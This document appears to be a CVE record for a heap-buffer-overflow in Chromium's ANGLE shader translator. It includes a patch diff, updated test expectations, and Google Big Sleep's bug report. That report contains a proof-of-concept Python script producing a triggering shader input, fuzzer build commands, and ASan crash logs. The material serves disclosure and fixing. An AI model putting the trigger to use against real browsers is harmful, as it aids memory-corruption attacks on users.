CVE-2025-10502
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ImmutableStringsrc/compiler/translator/InfoSink.h |
modified | |
TFieldsrc/compiler/translator/InfoSink.h |
modified | |
TSymbolsrc/compiler/translator/InfoSink.h |
modified | |
TTypesrc/compiler/translator/InfoSink.h |
modified |
Files Changed
src/compiler/translator/InfoSink.cppsrc/compiler/translator/InfoSink.hsrc/compiler/translator/OutputTree.cppsrc/tests/compiler_tests/TypeTracking_test.cpp
Patch
From 1ae273ee832def953a81b675c52195a8ba139c5e Mon Sep 17 00:00:00 2001
From: Shahbaz Youssefi <syoussefi@chromium.org>
Date: Wed, 27 Aug 2025 10:47:59 -0400
Subject: [PATCH] Translator: Output struct members in OutputTree
Bug: chromium:438038775
Change-Id: I2a1bed5207b1b2c26f20ee9ebd80fb00ec803bc2
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/6891072
Commit-Queue: Shahbaz Youssefi <syoussefi@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
---
diff --git a/src/compiler/translator/InfoSink.cpp b/src/compiler/translator/InfoSink.cpp
index 09bd117..fb3e89d 100644
--- a/src/compiler/translator/InfoSink.cpp
+++ b/src/compiler/translator/InfoSink.cpp
@@ -106,16 +106,16 @@
{
switch (symbol.symbolType())
{
- case (SymbolType::BuiltIn):
+ case SymbolType::BuiltIn:
*this << symbol.name();
break;
- case (SymbolType::Empty):
+ case SymbolType::Empty:
*this << "''";
break;
- case (SymbolType::AngleInternal):
+ case SymbolType::AngleInternal:
*this << '#' << symbol.name();
break;
- case (SymbolType::UserDefined):
+ case SymbolType::UserDefined:
*this << '\'' << symbol.name() << '\'';
break;
}
@@ -123,6 +123,26 @@
return *this;
}
+TInfoSinkBase &TInfoSinkBase::operator<<(const TField &field)
+{
+ ASSERT(field.symbolType() != SymbolType::Empty);
+ switch (field.symbolType())
+ {
+ case SymbolType::BuiltIn:
+ *this << field.name();
+ break;
+ case SymbolType::AngleInternal:
+ *this << '#' << field.name();
+ break;
+ case SymbolType::UserDefined:
+ *this << '\'' << field.name() << '\'';
+ break;
+ default:
+ UNREACHABLE();
+ }
+ return *this;
+}
+
void TInfoSinkBase::location(int file, int line)
{
TPersistStringStream stream = sh::InitializeStream<TPersistStringStream>();
diff --git a/src/compiler/translator/InfoSink.h b/src/compiler/translator/InfoSink.h
index 8d3b1c0..af8914a 100644
--- a/src/compiler/translator/InfoSink.h
+++ b/src/compiler/translator/InfoSink.h
@@ -17,6 +17,7 @@
{
class ImmutableString;
+class TField;
class TSymbol;
class TType;
@@ -74,6 +75,7 @@
TInfoSinkBase &operator<<(const TType &type);
TInfoSinkBase &operator<<(const TSymbol &symbol);
+ TInfoSinkBase &operator<<(const TField &symbol);
// Make sure floats are written with correct precision.
TInfoSinkBase &operator<<(float f)
diff --git a/src/compiler/translator/OutputTree.cpp b/src/compiler/translator/OutputTree.cpp
index 5946ecc..c3f071c 100644
--- a/src/compiler/translator/OutputTree.cpp
+++ b/src/compiler/translator/OutputTree.cpp
@@ -94,6 +94,19 @@
OutputTreeText(mOut, node, getCurrentIndentDepth());
OutputVariable(mOut, node->variable());
mOut << "\n";
+
+ const TType &type = node->getType();
+ if (type.getStruct() != nullptr && type.isStructSpecifier())
+ {
+ const TFieldList &fields = type.getStruct()->fields();
+ for (TField *field : fields)
+ {
+ OutputTreeText(mOut, node, getCurrentIndentDepth() + 1);
+ mOut << "member: ";
+ mOut << *field << " (" << *field->type() << ")";
+ mOut << "\n";
+ }
+ }
}
bool TOutputTraverser::visitSwizzle(Visit visit, TIntermSwizzle *node)
diff --git a/src/tests/compiler_tests/TypeTracking_test.cpp b/src/tests/compiler_tests/TypeTracking_test.cpp
index c9c2521..7969069 100644
--- a/src/tests/compiler_tests/TypeTracking_test.cpp
+++ b/src/tests/compiler_tests/TypeTracking_test.cpp
@@ -679,9 +679,12 @@
const char kExpected[] = R"(0:2: Code block
0:6: Declaration
0:? : '' (structure 's2' (specifier))
+0:? : member: 'i' (mediump int)
0:10: Declaration
0:10: initialize first child with second child (const structure 's1' (specifier))
0:10: 's11' (const structure 's1' (specifier))
+0:10: member: 'ss' (structure 's2')
+0:10: member: 'm' (highp 4X4 matrix of float)
0:10: Construct (const structure 's1')
0:10: Constant union (const structure 's2' (specifier))
0:10: 8 (const int)
@@ -718,8 +721,12 @@
0:17: Compare Equal (bool)
0:17: Call a function: 'f' (structure 's1')
0:17: 's11' (const structure 's1' (specifier))
+0:17: member: 'ss' (structure 's2')
+0:17: member: 'm' (highp 4X4 matrix of float)
0:17: Call a function: 'f' (structure 's1')
0:17: 's11' (const structure 's1' (specifier))
+0:17: member: 'ss' (structure 's2')
+0:17: member: 'm' (highp 4X4 matrix of float)
0:17: true case
0:18: Code block
0:18: move second child to first child (highp 4-component vector of float)
@@ -761,13 +768,17 @@
0:8: Declaration
0:8: initialize first child with second child (structure 's2' (specifier))
0:8: 's22' (structure 's2' (specifier))
+0:8: member: 'i' (mediump int)
0:8: Constant union (const structure 's2')
0:8: 8 (const int)
0:12: Declaration
0:12: initialize first child with second child (structure 's1' (specifier))
0:12: 's11' (structure 's1' (specifier))
+0:12: member: 'ss' (structure 's2')
+0:12: member: 'm' (highp 4X4 matrix of float)
0:12: Construct (structure 's1')
0:12: 's22' (structure 's2' (specifier))
+0:12: member: 'i' (mediump int)
0:12: Constant union (const 4X4 matrix of float)
0:12: 5.0 (const float)
0:12: 0.0 (const float)
@@ -787,12 +798,20 @@
0:12: 5.0 (const float)
0:13: move second child to first child (structure 's1' (specifier))
0:13: 's11' (structure 's1' (specifier))
+0:13: member: 'ss' (structure 's2')
+0:13: member: 'm' (highp 4X4 matrix of float)
0:13: 's11' (structure 's1' (specifier))
+0:13: member: 'ss' (structure 's2')
+0:13: member: 'm' (highp 4X4 matrix of float)
0:14: If test
0:14: Condition
0:14: Compare Equal (bool)
0:14: 's11' (structure 's1' (specifier))
+0:14: member: 'ss' (structure 's2')
+0:14: member: 'm' (highp 4X4 matrix of float)
0:14: 's11' (structure 's1' (specifier))
+0:14: member: 'ss' (structure 's2')
+0:14: member: 'm' (highp 4X4 matrix of float)
0:14: true case
0:15: Code block
0:15: move second child to first child (highp 4-component vector of float)
Regression Test / PoC
diff --git a/src/tests/compiler_tests/TypeTracking_test.cpp b/src/tests/compiler_tests/TypeTracking_test.cpp
index c9c2521..7969069 100644
--- a/src/tests/compiler_tests/TypeTracking_test.cpp
+++ b/src/tests/compiler_tests/TypeTracking_test.cpp
@@ -679,9 +679,12 @@
const char kExpected[] = R"(0:2: Code block
0:6: Declaration
0:? : '' (structure 's2' (specifier))
+0:? : member: 'i' (mediump int)
0:10: Declaration
0:10: initialize first child with second child (const structure 's1' (specifier))
0:10: 's11' (const structure 's1' (specifier))
+0:10: member: 'ss' (structure 's2')
+0:10: member: 'm' (highp 4X4 matrix of float)
0:10: Construct (const structure 's1')
0:10: Constant union (const structure 's2' (specifier))
0:10: 8 (const int)
@@ -718,8 +721,12 @@
0:17: Compare Equal (bool)
0:17: Call a function: 'f' (structure 's1')
0:17: 's11' (const structure 's1' (specifier))
+0:17: member: 'ss' (structure 's2')
+0:17: member: 'm' (highp 4X4 matrix of float)
0:17: Call a function: 'f' (structure 's1')
0:17: 's11' (const structure 's1' (specifier))
+0:17: member: 'ss' (structure 's2')
+0:17: member: 'm' (highp 4X4 matrix of float)
0:17: true case
0:18: Code block
0:18: move second child to first child (highp 4-component vector of float)
@@ -761,13 +768,17 @@
0:8: Declaration
0:8: initialize first child with second child (structure 's2' (specifier))
0:8: 's22' (structure 's2' (specifier))
+0:8: member: 'i' (mediump int)
0:8: Constant union (const structure 's2')
0:8: 8 (const int)
0:12: Declaration
0:12: initialize first child with second child (structure 's1' (specifier))
0:12: 's11' (structure 's1' (specifier))
+0:12: member: 'ss' (structure 's2')
+0:12: member: 'm' (highp 4X4 matrix of float)
0:12: Construct (structure 's1')
0:12: 's22' (structure 's2' (specifier))
+0:12: member: 'i' (mediump int)
0:12: Constant union (const 4X4 matrix of float)
0:12: 5.0 (const float)
0:12: 0.0 (const float)
@@ -787,12 +798,20 @@
0:12: 5.0 (const float)
0:13: move second child to first child (structure 's1' (specifier))
0:13: 's11' (structure 's1' (specifier))
+0:13: member: 'ss' (structure 's2')
+0:13: member: 'm' (highp 4X4 matrix of float)
0:13: 's11' (structure 's1' (specifier))
+0:13: member: 'ss' (structure 's2')
+0:13: member: 'm' (highp 4X4 matrix of float)
0:14: If test
0:14: Condition
0:14: Compare Equal (bool)
0:14: 's11' (structure 's1' (specifier))
+0:14: member: 'ss' (structure 's2')
+0:14: member: 'm' (highp 4X4 matrix of float)
0:14: 's11' (structure 's1' (specifier))
+0:14: member: 'ss' (structure 's2')
+0:14: member: 'm' (highp 4X4 matrix of float)
0:14: true case
0:15: Code block
0:15: move second child to first child (highp 4-component vector of float)
Original Bug Report
ANGLE: heap-buffer-overflow read in TIntermBinary::promote() caused by nested structs with sampler fields
We are tracking this issue with the public ID BIGSLEEP-438112996. Please use this identifier for reference in any future communication.
Vulnerability Details
A heap-buffer-overflow read can occur in the ANGLE shader translator due to flawed logic in how it processes structs containing sampler fields.
To simplify later Abstract Syntax Tree (AST) transformations, the ANGLE shader translator processes structs with sampler fields in the TParseContext::addStructure function. The function reorganizes the struct’s field list by moving any sampler fields to the end
TTypeSpecifierNonArray TParseContext::addStructure(const TSourceLoc &structLine,
const TSourceLoc &nameLine,
const ImmutableString &structName,
TFieldList *fieldList)
{
[...]
// To simplify pulling samplers out of structs, reorder the struct fields to put the samplers at
// the end.
TFieldList *reorderedFields = new TFieldList;
for (TField *field : *fieldList)
{
if (!IsSampler(field->type()->getBasicType()))
{
reorderedFields->push_back(field);
}
}
for (TField *field : *fieldList)
{
if (IsSampler(field->type()->getBasicType()))
{
reorderedFields->push_back(field);
}
}
[...]
}
However, this reordering logic is not applied recursively to nested structs. This flaw leads to an issue in the later RewriteStructSamplers pass. When this pass encounters a struct with a nested struct containing a sampler, it proceeds to strip the sampler fields out, creating a new, modified struct definition.
Following this modification, the compiler attempts to update expressions that access the struct’s fields by creating a TIntermBinary node, which in turn calls the promote() method. The critical flaw occurs here: the promote() method uses the field index from the original AST node but applies it to the field list of the new, smaller struct definition. If the original index referenced a field that appeared after a sampler in a nested struct, that index may be out of bounds for the modified field list, resulting in a heap-buffer-overflow read.
void TIntermBinary::promote()
{
[...]
// Handle indexing ops.
switch (mOp)
{
[...]
case EOpIndexDirectStruct:
{
const TFieldList &fields = mLeft->getType().getStruct()->fields();
const int fieldIndex = mRight->getAsConstantUnion()->getIConst(0);
setType(*fields[fieldIndex]->type());
getTypePointer()->setQualifier(resultQualifier);
return;
}
[...]
}
This vulnerability can be exploited for memory corruption. For instance, the out-of-bounds data can be used in the assignment operator of the TType class called from setType(). The TVector copy constructor is called on out-of-bounds memory, and if the source vector’s size changes concurrently during the operation, it can lead to a heap-buffer-overflow write when the data is copied.
TType &TType::operator=(const TType &t)
{
[...]
if (t.mArraySizesStorage)
{
// If other type has storage, duplicate the storage and set the view to our own storage.
mArraySizesStorage = new TVector<unsigned int>(*t.mArraySizesStorage);
mArraySizes = *mArraySizesStorage;
}
[...]
}
Even when C++ hardening, which is enabled in Chromium by default, prevents the initial overflow, this bug can still cause a type mismatch by assigning the wrong type to an operation. In debug builds, this leads to validation errors in the SPIR-V backend.
Affected Version(s)
The issue has been successfully reproduced:
-
at HEAD (Chromium commit
01fb7a958eedb479701aab17e0799a8140b4a5b2, ANGLE commit9367369dc5f813b05ac0ae4b3202102154589d34) -
in stable release
139.0.7258.66(Chromium commita62d329947691f76c376a873eae39f56381103c8, ANGLE commit0145c376fadde16390298681252785f98ae90185)
Reproduction
Test Case
# repro.py
import struct
import sys
shader_type = 0x8B30 # GL_FRAGMENT_SHADER
shader_spec = 2 # SH_GLES3_SPEC
output_format = 15 # SH_SPIRV_VULKAN_OUTPUT
# Set objectCode (bit 0) to ensure the translation phase runs
compile_flags = (1 << 0)
compile_opts_bytes = (compile_flags).to_bytes(32, byteorder='little')
# Construct the 128-byte header expected by the fuzzer
header = struct.pack("<III", shader_type, shader_spec, output_format) # 12 bytes
header += compile_opts_bytes # Add 32 bytes of basic options
# Pad the rest of the header
header += b"\x00" * (128 - len(header))
# Nested struct with sampler
shader_code = b"""#version 300 es
precision mediump float;
struct Inner {
sampler2D tex;
};
uniform struct Outer {
Inner i;
float f;
// vec4 uncomment_to_trigger_spirv_validation_crash;
} u_o;
float f;
void main()
{
f = u_o.f;
}
"""
program_input = header + shader_code + b"\x00"
sys.stdout.buffer.write(program_input)
Build Instructions
gn gen out/angle --args='is_debug = true dcheck_always_on = true use_libfuzzer = true is_asan = true'
autoninja -C out/angle angle_translator_fuzzer
Command
(f=$(mktemp) && python3 repro.py > $f && ./out/angle/angle_translator_fuzzer $f)
ASan Report
==1517587==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b6d523e2378 at pc 0x5634012e83a9 bp 0x7ffd41da7fb0 sp 0x7ffd41da7fa8
READ of size 8 at 0x7b6d523e2378 thread T0
#0 0x5634012e83a8 in sh::TIntermBinary::promote() third_party/angle/src/compiler/translator/IntermNode.cpp:1872:22
#1 0x5634012e6de5 in sh::TIntermBinary::TIntermBinary(sh::TOperator, sh::TIntermTyped*, sh::TIntermTyped*) third_party/angle/src/compiler/translator/IntermNode.cpp:1565:5
#2 0x56340180fffb in sh::(anonymous namespace)::RewriteModifiedStructFieldSelectionExpression(sh::TCompiler*, sh::TIntermBinary*, absl::flat_hash_map<sh::TStructure const*, sh::(anonymous namespace)::StructureData, absl::contai
ner_internal::HashEq<sh::TStructure const*, void>::Hash, absl::container_internal::HashEq<sh::TStructure const*, void>::Eq, std::__Cr::allocator<std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData>
>> const&, absl::flat_hash_map<sh::TVariable const*, sh::TVariable const*, absl::container_internal::HashEq<sh::TVariable const*, void>::Hash, absl::container_internal::HashEq<sh::TVariable const*, void>::Eq, std::__Cr::allocator<s
td::__Cr::pair<sh::TVariable const* const, sh::TVariable const*>>> const&, absl::flat_hash_map<std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>>, sh::TVariable const*, absl::container_internal:
:StringHash, absl::container_internal::StringEq, std::__Cr::allocator<std::__Cr::pair<std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const, sh::TVariable const*>>> const&) third_party/angle/
src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:249:29
#3 0x56340180ebd9 in sh::(anonymous namespace)::RewriteExpressionVisitBinaryHelper(sh::TCompiler*, sh::TIntermBinary*, absl::flat_hash_map<sh::TStructure const*, sh::(anonymous namespace)::StructureData, absl::container_interna
l::HashEq<sh::TStructure const*, void>::Hash, absl::container_internal::HashEq<sh::TStructure const*, void>::Eq, std::__Cr::allocator<std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData>>> const&,
absl::flat_hash_map<sh::TVariable const*, sh::TVariable const*, absl::container_internal::HashEq<sh::TVariable const*, void>::Hash, absl::container_internal::HashEq<sh::TVariable const*, void>::Eq, std::__Cr::allocator<std::__Cr::p
air<sh::TVariable const* const, sh::TVariable const*>>> const&, absl::flat_hash_map<std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>>, sh::TVariable const*, absl::container_internal::StringHash
, absl::container_internal::StringEq, std::__Cr::allocator<std::__Cr::pair<std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const, sh::TVariable const*>>> const&) third_party/angle/src/compile
r/translator/tree_ops/RewriteStructSamplers.cpp:87:12
#4 0x5634018085d3 in sh::(anonymous namespace)::RewriteStructSamplersTraverser::visitBinary(sh::Visit, sh::TIntermBinary*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:347:35
#5 0x5634016447ce in sh::TIntermBinary::visit(sh::Visit, sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:155:16
#6 0x563401648ead in void sh::TIntermTraverser::traverse<sh::TIntermBinary>(sh::TIntermBinary*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:33:23
#7 0x563401648c70 in sh::TIntermTraverser::traverseBinary(sh::TIntermBinary*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:317:5
#8 0x563401643cfe in sh::TIntermBinary::traverse(sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:87:9
#9 0x56340164900b in void sh::TIntermTraverser::traverse<sh::TIntermBinary>(sh::TIntermBinary*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:43:45
#10 0x563401648c70 in sh::TIntermTraverser::traverseBinary(sh::TIntermBinary*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:317:5
#11 0x563401643cfe in sh::TIntermBinary::traverse(sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:87:9
#12 0x56340164b513 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
#13 0x563401643f6e in sh::TIntermBlock::traverse(sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:102:9
#14 0x56340164af07 in sh::TIntermTraverser::traverseFunctionDefinition(sh::TIntermFunctionDefinition*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:443:30
#15 0x563401643e9e in sh::TIntermFunctionDefinition::traverse(sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:97:9
#16 0x56340164b513 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
#17 0x563401643f6e in sh::TIntermBlock::traverse(sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:102:9
#18 0x563401807c72 in sh::RewriteStructSamplers(sh::TCompiler*, sh::TIntermBlock*, sh::TSymbolTable*, int*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:647:11
#19 0x5634017f4a26 in sh::TranslatorSPIRV::translateImpl(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*, sh::SpecConst*, sh::DriverUniform*) third_party/angle/src/compiler/translator/spirv/TranslatorSPI
RV.cpp:812:14
#20 0x5634017ff244 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1277:10
#21 0x56340122370a in sh::TCompiler::compile(char const* const*, unsigned long, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1508:18
#22 0x5634010b0f39 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:248:17
#23 0x5634011420ba in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
#24 0x5634010f163b in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:329:6
#25 0x5634010f6bfa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:864:9
#26 0x5634010c59c3 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
#27 0x7f4d53343ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
0x7b6d523e237f is located 0 bytes after 15-byte region [0x7b6d523e2370,0x7b6d523e237f)
allocated by thread T0 here:
#0 0x5634010ae71d in operator new[](unsigned long, std::nothrow_t const&) (chromium/src/out/angle/angle_translator_fuzzer+0xa3e71d) (BuildId: b1f0691eb6b44f39)
#1 0x563401a5dbe0 in angle::PoolAllocator::allocate(unsigned long) third_party/angle/src/common/PoolAlloc.cpp:341:22
#2 0x5634013bb2dc in pool_allocator<sh::TField*>::allocate(unsigned long) third_party/angle/src/compiler/translator/PoolAlloc.h:91:52
#3 0x5634013bb250 in std::__Cr::__allocation_result<std::__Cr::allocator_traits<pool_allocator<sh::TField*>>::pointer> std::__Cr::__allocate_at_least<pool_allocator<sh::TField*>>(pool_allocator<sh::TField*>&, unsigned long) thi
rd_party/libc++/src/include/__memory/allocate_at_least.h:41:19
#4 0x5634013b7422 in std::__Cr::__split_buffer<sh::TField*, pool_allocator<sh::TField*>&>::__split_buffer(unsigned long, unsigned long, pool_allocator<sh::TField*>&) third_party/libc++/src/include/__split_buffer:330:25
#5 0x5634013bc83a in sh::TField** std::__Cr::vector<sh::TField*, pool_allocator<sh::TField*>>::__emplace_back_slow_path<sh::TField* const&>(sh::TField* const&) third_party/libc++/src/include/__vector/vector.h:1137:47
#6 0x5634013bc48f in sh::TField*& std::__Cr::vector<sh::TField*, pool_allocator<sh::TField*>>::emplace_back<sh::TField* const&>(sh::TField* const&) third_party/libc++/src/include/__vector/vector.h:1159:13
#7 0x563401399e40 in std::__Cr::vector<sh::TField*, pool_allocator<sh::TField*>>::push_back(sh::TField* const&) third_party/libc++/src/include/__vector/vector.h:464:93
#8 0x5634018217d3 in sh::(anonymous namespace)::RewriteStructSamplersTraverser::stripStructSpecifierSamplers(sh::TStructure const*, sh::TVector<sh::TIntermNode*>*) third_party/angle/src/compiler/translator/tree_ops/RewriteStruc
tSamplers.cpp:436:31
#9 0x563401808fac in sh::(anonymous namespace)::RewriteStructSamplersTraverser::visitDeclaration(sh::Visit, sh::TIntermDeclaration*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:316:13
#10 0x563401644a70 in sh::TIntermDeclaration::visit(sh::Visit, sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:170:16
#11 0x563401642fbf in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:33:23
#12 0x563401643630 in sh::TIntermNode::traverse(sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:64:9
#13 0x56340164b513 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
#14 0x563401643f6e in sh::TIntermBlock::traverse(sh::TIntermTraverser*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:102:9
#15 0x563401807c72 in sh::RewriteStructSamplers(sh::TCompiler*, sh::TIntermBlock*, sh::TSymbolTable*, int*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:647:11
#16 0x5634017f4a26 in sh::TranslatorSPIRV::translateImpl(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*, sh::SpecConst*, sh::DriverUniform*) third_party/angle/src/compiler/translator/spirv/TranslatorSPI
RV.cpp:812:14
#17 0x5634017ff244 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1277:10
#18 0x56340122370a in sh::TCompiler::compile(char const* const*, unsigned long, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1508:18
#19 0x5634010b0f39 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:248:17
#20 0x5634011420ba in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
#21 0x5634010f163b in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:329:6
#22 0x5634010f6bfa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:864:9
#23 0x5634010c59c3 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
#24 0x7f4d53343ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: heap-buffer-overflow third_party/angle/src/compiler/translator/IntermNode.cpp:1872:22 in sh::TIntermBinary::promote()
Shadow bytes around the buggy address:
0x7b6d523e2080: fa fa 00 07 fa fa 00 07 fa fa 00 07 fa fa fd fd
0x7b6d523e2100: fa fa 00 05 fa fa 00 03 fa fa 00 03 fa fa 00 05
0x7b6d523e2180: fa fa 00 07 fa fa fd fd fa fa 00 07 fa fa fd fd
0x7b6d523e2200: fa fa 00 07 fa fa 00 07 fa fa 00 07 fa fa fd fd
0x7b6d523e2280: fa fa 00 07 fa fa fd fd fa fa 00 07 fa fa 00 07
=>0x7b6d523e2300: fa fa 00 07 fa fa 00 07 fa fa fd fd fa fa 00[07]
0x7b6d523e2380: fa fa 00 07 fa fa 00 07 fa fa 00 03 fa fa 00 07
0x7b6d523e2400: fa fa 00 07 fa fa 00 07 fa fa 00 07 fa fa fa fa
0x7b6d523e2480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7b6d523e2500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7b6d523e2580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1517587==ABORTING
To trigger the following error, uncomment the vec4 uncomment_to_trigger_spirv_validation_crash field in the reproduction case.
WARN: angle_spirv_utils.cpp:31 (ValidateSpirvMessage): Level2: OpStore Pointer <id> '60[%60]'s type does not match Object <id> '74[%74]'s type.
OpStore %60 %74
WARN: angle_spirv_utils.cpp:62 (Validate): Invalid SPIR-V:
; SPIR-V
; Version: 1.3
; Generator: Google ANGLE Shader Compiler; 1
; Bound: 107
; Schema: 0
OpCapability Shader
OpExtension "SPV_KHR_non_semantic_info"
%54 = OpExtInstImport "GLSL.std.450"
[...]
%78 = OpLabel
%105 = OpExtInst %3 %1 2
OpReturn
OpFunctionEnd
FATAL: OutputSPIRV.cpp:6490 (getSpirv): ! Assert failed in getSpirv (../../third_party/angle/src/compiler/translator/spirv/OutputSPIRV.cpp:6490): spirv::Validate(result)
==1550426== ERROR: libFuzzer: deadly signal
#0 0x5649a2227ae1 in __sanitizer_print_stack_trace /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_stack.cpp:87:3
#1 0x5649a236128e in fuzzer::PrintStackTrace() third_party/libFuzzer/src/FuzzerUtil.cpp:210:5
#2 0x5649a22f2479 in fuzzer::Fuzzer::CrashCallback() third_party/libFuzzer/src/FuzzerLoop.cpp:231:3
#3 0x5649a22f238f in fuzzer::Fuzzer::StaticCrashSignalCallback() third_party/libFuzzer/src/FuzzerLoop.cpp:202:6
#4 0x5649a2363387 in fuzzer::CrashHandler(int, siginfo_t*, void*) third_party/libFuzzer/src/FuzzerUtilPosix.cpp:46:3
#5 0x7fcf0172cdef (/lib/x86_64-linux-gnu/libc.so.6+0x3fdef) (BuildId: 4a95b54430cb5a2c68c1812f1738222660dec6d1)
#6 0x5649a2a1a410 in sh::(anonymous namespace)::OutputSPIRVTraverser::getSpirv() third_party/angle/src/compiler/translator/spirv/OutputSPIRV.cpp:6490:5
#7 0x5649a2a19dd5 in sh::OutputSPIRV(sh::TCompiler*, sh::TIntermBlock*, ShCompileOptions const&, absl::flat_hash_map<int, unsigned int, absl::hash_internal::Hash<int>, std::__Cr::equal_to<int>, std::__Cr::allocator<std::__Cr::pair<int const, unsigned int>>> const&, unsigned int) third_party/angle/src/compiler/translator/spirv/OutputSPIRV.cpp:6525:39
#8 0x5649a29c1426 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1282:12
#9 0x5649a23d703a in sh::TCompiler::compile(char const* const*, unsigned long, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1531:18
#10 0x5649a22617f9 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:246:17
#11 0x5649a22f50aa in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
#12 0x5649a22a3ceb in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:328:6
#13 0x5649a22a92aa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:863:9
#14 0x5649a22761f3 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
#15 0x7fcf01716ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
Reporter Credit
Google Big Sleep
Disclosure Policy
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-11-10.
For more information, visit https://goo.gle/bigsleep